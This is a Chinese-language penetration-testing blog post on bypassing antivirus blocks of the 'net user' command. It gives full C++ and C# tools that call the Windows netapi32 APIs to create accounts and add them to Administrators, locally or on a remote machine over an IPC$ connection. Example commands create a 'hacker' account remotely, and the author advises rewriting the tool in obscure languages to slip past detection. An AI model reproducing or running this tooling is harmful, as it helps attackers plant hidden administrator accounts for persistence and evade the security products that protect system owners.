逃逸——当net命令被禁用

robots

 

起因

之前做权限维持的时候在虚拟机上添加了很多用户,后来想起后准备删除,但是这时安装了某AV。

使用命令删除

net user /admin delete

以前遇到杀软添加用户会被拦截,没想到删除命令同样遭到拦截,这不经引起了我的思考,这个操作能绕过吗?

 

尝试

NET命令是功能强大的以命令行方式执行的工具。它包含了管理网络环境、服务、用户、登陆等Windows 98/NT/2000 中大部分重要的管理功能。使用它可以轻松的管理本地或者远程计算机的网络环境,以及各种服务程序的运行和配置。或者进行用户管理和登陆管理等。

当使用net命令时,实际上net是调用了这个PE文件。

C:\Windows\System32\net1.exe

安全产品同样也重点监控着这个文件的调用,甚至有经验的管理员也许会直接删除net1.exe这个文件,这样我们希望添加用户的美好愿望就会泡汤。

经前人研究,利用netapi32.dll中的API,可以绕过这一限制。

由于笔者众多语言中,c++水平是稍微好一点的,首先使用c++尝试。需要用的API有两个:NetUserAddNetLocalGroupAddMembers

NetUserAdd

NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);

NetUserAdd函数添加一个用户帐户,并指定密码策略和权限级别。

微软文档:https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

NetLocalGroupAddMembers

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  LPCWSTR servername,
  LPCWSTR groupname,
  DWORD   level,
  LPBYTE  buf,
  DWORD   totalentries
);

NetLocalGroupAddMembers能够把用户加到组里,比如Administrators组

微软文档:https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers

这里参数有疑问的,可直接参考msdn文档。

下面的代码通过NetUserAdd添加一个系统用户。

#include <iostream>
#include <windows.h>
#include <lm.h>

#pragma hdrstop
#pragma comment(lib,"netapi32.lib")

int wmain(int argc,wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwlevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        fwprintf(stderr, L"[!] Usage: %s UserName PassWord\n", argv[0]);
    }
    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL, dwlevel, (LPBYTE)&ui, &dwError);

    if (nStatus == NERR_Success)
    {
        fwprintf(stderr,L"[+] User %s has been successfully added\n",argv[1]);
    }
    else
    {
        fprintf(stderr, "[!] A system error had ocurred %d\n", nStatus);
    }
    return 0;
}

往往希望添加到administrators组,方便后续操作,权限也相对来说也较高。

下面的代码通过NetLocalGroupAddMembers添加某一个用户到administrators组。

LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = argv[1];

NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS) 
{
    printf("[+] Administrators added Successfully!");
}
else 
{
    printf("[!] Administrators added Failed!");
}

将两端代码整合到一起后编译。将生成的pe文件上传到虚拟机中。

先静态扫描一波,并没有被杀。

NetUserAdd.exe test 123456
net user
net localgroup administrators

说实话,这里没有被杀是我没有想到的。我猜想可能由于是虚拟机,杀毒力度并不大,真实情景下应该是不行的。

尝试删除改账户时,同样是不行的

 

拓展

初步探究并没有让我停下脚步,注意到NetUserAdd函数的第一个参数LPCWSTR servername,提供了一个可以写远程服务的参数,是否可以向其他机器上添加用户?答案当然是可以的。

这里临时换下语言:众所周知,c++是最容易被杀的语言。如果换成其他语言也许能够更好地逃逸。由于最近又正好在学c#,下面就用c#来实现一个添加用户的功能。

这里我也就不过多废话了,就是用c#的语法去调用win32API。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using NDesk.Options;

namespace NetUserAdd
{
    class NetUA
    {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct LOCALGROUP_MEMBERS_INFO_3
        {
            public string domainandname; // //lgrmi3_domainandname
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct USER_INFO_1
        {
            public string sName;   //用户名
            public string sPass;   //密码
            public int PasswordLevel;  //密码级别
            public int sPriv;            //账户类型
            public string sHomeDir;        //用户主目录
            public string sComment;        //用户描述
            public int sFlags;            //用户权限
            public string sScriptPath;    //登录脚本路径
        }
        [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
        extern static int  NetUserAdd(string Server, int Level, ref USER_INFO_1 buf, int parm_err);
        [DllImport("Netapi32.dll", CharSet = CharSet.Unicode)]
        extern static int NetLocalGroupAddMembers(string servername, string groupname,
         int level, ref LOCALGROUP_MEMBERS_INFO_3 buf, int totalentries);

        public static void GroupAddMembers(string serverName, string userName)
        {
            LOCALGROUP_MEMBERS_INFO_3 NewMember = new LOCALGROUP_MEMBERS_INFO_3();
            NewMember.domainandname = userName;
            if (NetLocalGroupAddMembers(serverName, "Administrators", 3, ref NewMember, 1) != 0) //添加失败后返回非0
            {
                Console.WriteLine("[!] Error Adding Group Member to Administrators");
            }
            else 
            {
                Console.WriteLine("[+] Succeeded in adding the user to group Administrator");    
            }
        }
        public static bool UserAddRemotely(string ServerName, string UserName, string UserPassWord) {
            USER_INFO_1 UserInfo = new USER_INFO_1();
            UserInfo.sName = UserName;
            UserInfo.sPass = UserPassWord;
            UserInfo.PasswordLevel = 0;
            UserInfo.sPriv = 1;
            UserInfo.sHomeDir = null;
            UserInfo.sComment = null;
            UserInfo.sFlags = 0x0040;
            //UserInfo.sFlags = 0x10040;
            UserInfo.sScriptPath = null;

            if(NetUserAdd(ServerName, 1, ref UserInfo, 0) != 0)
            {
                Console.WriteLine("[!] Failed to create a user Remotely");
                return false;
            }
            else
            {
                Console.WriteLine("[+] The Remote user is successfully created!");
                return true;
            }
        }

        public static bool UserAddLocal(string UserName, string UserPassWord)
        {
            USER_INFO_1 UserInfo = new USER_INFO_1();
            UserInfo.sName = UserName;
            UserInfo.sPass = UserPassWord;
            UserInfo.PasswordLevel = 0;
            UserInfo.sPriv = 1;
            UserInfo.sHomeDir = null;
            UserInfo.sComment = null;
            UserInfo.sFlags = 0x0040;
            //UserInfo.sFlags = 0x10040;
            UserInfo.sScriptPath = null;

            if (NetUserAdd(null, 1, ref UserInfo, 0) != 0)
            {
                Console.WriteLine("[!] Failed to create a user locally , Please check your permissions Or the account name already exists。");
                return false;
            }
            else
            {
                Console.WriteLine("[+] The local user is successfully created!");
                return true;
            }
        } 
            static void Main(string[] args)
        {
            List<string> servers = new List<string>();
            List<string> usernames = new List<string>();
            List<string> passwords = new List<string>();
            bool show_help = false;
            var _AddUserRemotely = false;
            var _AddUserLocal = false;
            OptionSet options = new OptionSet()
            {
                {"h|help","Show Help\n", v => show_help = v != null},
                {"AddUserRemotely","Add User Remotely\n",v=>_AddUserRemotely= v != null },
                {"AddUserLocal","Add User Local\n",v=>_AddUserLocal= v != null },
                { "s|server=", "the {server} of the target",v => servers.Add (v) },
                { "u|username=", "the {username} of the target you want add",v => usernames.Add (v) },
                { "p|password=", "the {password} of the target you want add",v => passwords.Add (v) }
            };

            List<string> extra;
            try
            {
                extra = options.Parse(args);
                //检测无效参数
                if (extra.Any())
                {
                    foreach (var item in extra)
                    {
                        FontColor.Warning();
                        Console.WriteLine("unrecognized option: {0}", item);
                        FontColor.NormailFonts();
                    }
                    ShowHelp(options);
                    return;
                }
            }
            catch (OptionException e)
            {
                System.Console.Write("NetUserAdd.exe: ");
                System.Console.WriteLine(e.Message);
                System.Console.WriteLine("Try `NetUserAdd.exe --help' for more information.");
                return;
            }


            if (show_help)
            {
                ShowHelp(options);
            }

            if (_AddUserRemotely)
            {
                GetArgsValue.GetServerValue(servers);
                GetArgsValue.GetUserNameValue(usernames);
                GetArgsValue.GetPassWordValue(passwords);
                UserAddRemotely(GetArgsValue.server, GetArgsValue.username, GetArgsValue.password);
                GroupAddMembers(GetArgsValue.server, GetArgsValue.username);
            }

            if (_AddUserLocal)
            {
                GetArgsValue.GetUserNameValue(usernames);
                GetArgsValue.GetPassWordValue(passwords);
                UserAddLocal(GetArgsValue.username, GetArgsValue.password);
                GroupAddMembers(null, GetArgsValue.username);
            }
        }


        static void ShowHelp(OptionSet p)
        {
            System.Console.WriteLine("Usage: NetUserAdd.exe [OPTIONS]");
            System.Console.WriteLine("eg:NetUserAdd.exe --s 10.10.10.1 --u username --p password --AddUserRemotely");
            System.Console.WriteLine();
            System.Console.WriteLine("Options:");
            p.WriteOptionDescriptions(System.Console.Out);
        }
    }

}

如果c++写的工具能过av,那么目前来看c#写的就大概率都能过,这里就不放上去看下逃逸效果了。看一下选项帮助信息:

NetUserAdd.exe -h

远端ip为192.168.1.184

先执行一下。

NetUserAdd.exe -s 192.168.1.184 -u hacker -p iamhere -AddUserRemotely

这里我的错误信息写的比较简陋,也没有写GetlastError,但稍想一下这里就不可能成功,又没有建立已知连接,也没有提供目标机器账户密码。那么这里API提供的servername到底有什么作用呢?或者如何才能远程执行添加用户的命令呢?

这里我想到了psexec,用过的同学都应该知道这款工具在你提供了目标机器账户和密码后,就可以返回一个shell,直接执行命令,该款工具走的是445端口,即SMB协议,那么这里是不是也有相同之处呢。为了验证想法,先使用wireshark抓包来看我们自己写的exe走的是什么协议去连接远端。

在执行exe瞬间,产生了大量SMB协议。

那么猜想基本就得到了验证。

这里也无需去使用psexec这一类的工具,直接建立一个ipc连接即可。

这里找了一个在administrators组中的用户:admin。

net use \\192.168.1.184\ipc$

然后再执行命令,但是还是失败了。

奇怪了几秒,突然想到原因:即便是在administrators组中的用户,在使用管理员权限执行应用时,还是会有uac弹窗。所以这里admin账户只是是虚假的管理员,只有administrator这个账户才是真正的管理员。

在建立与administrator账户的ipc连接后,终于执行成功。

 

总结

这个在实际环境中有没有用呢,相信还有是有一定作用的,不过也只能是锦上添花。但远程添加用户这个也许会有奇效,同时在规避检测方面也有一定效果,如果c#版的还不行,就去找go版的,nim版的,越是小众语言效果越明显。

(完)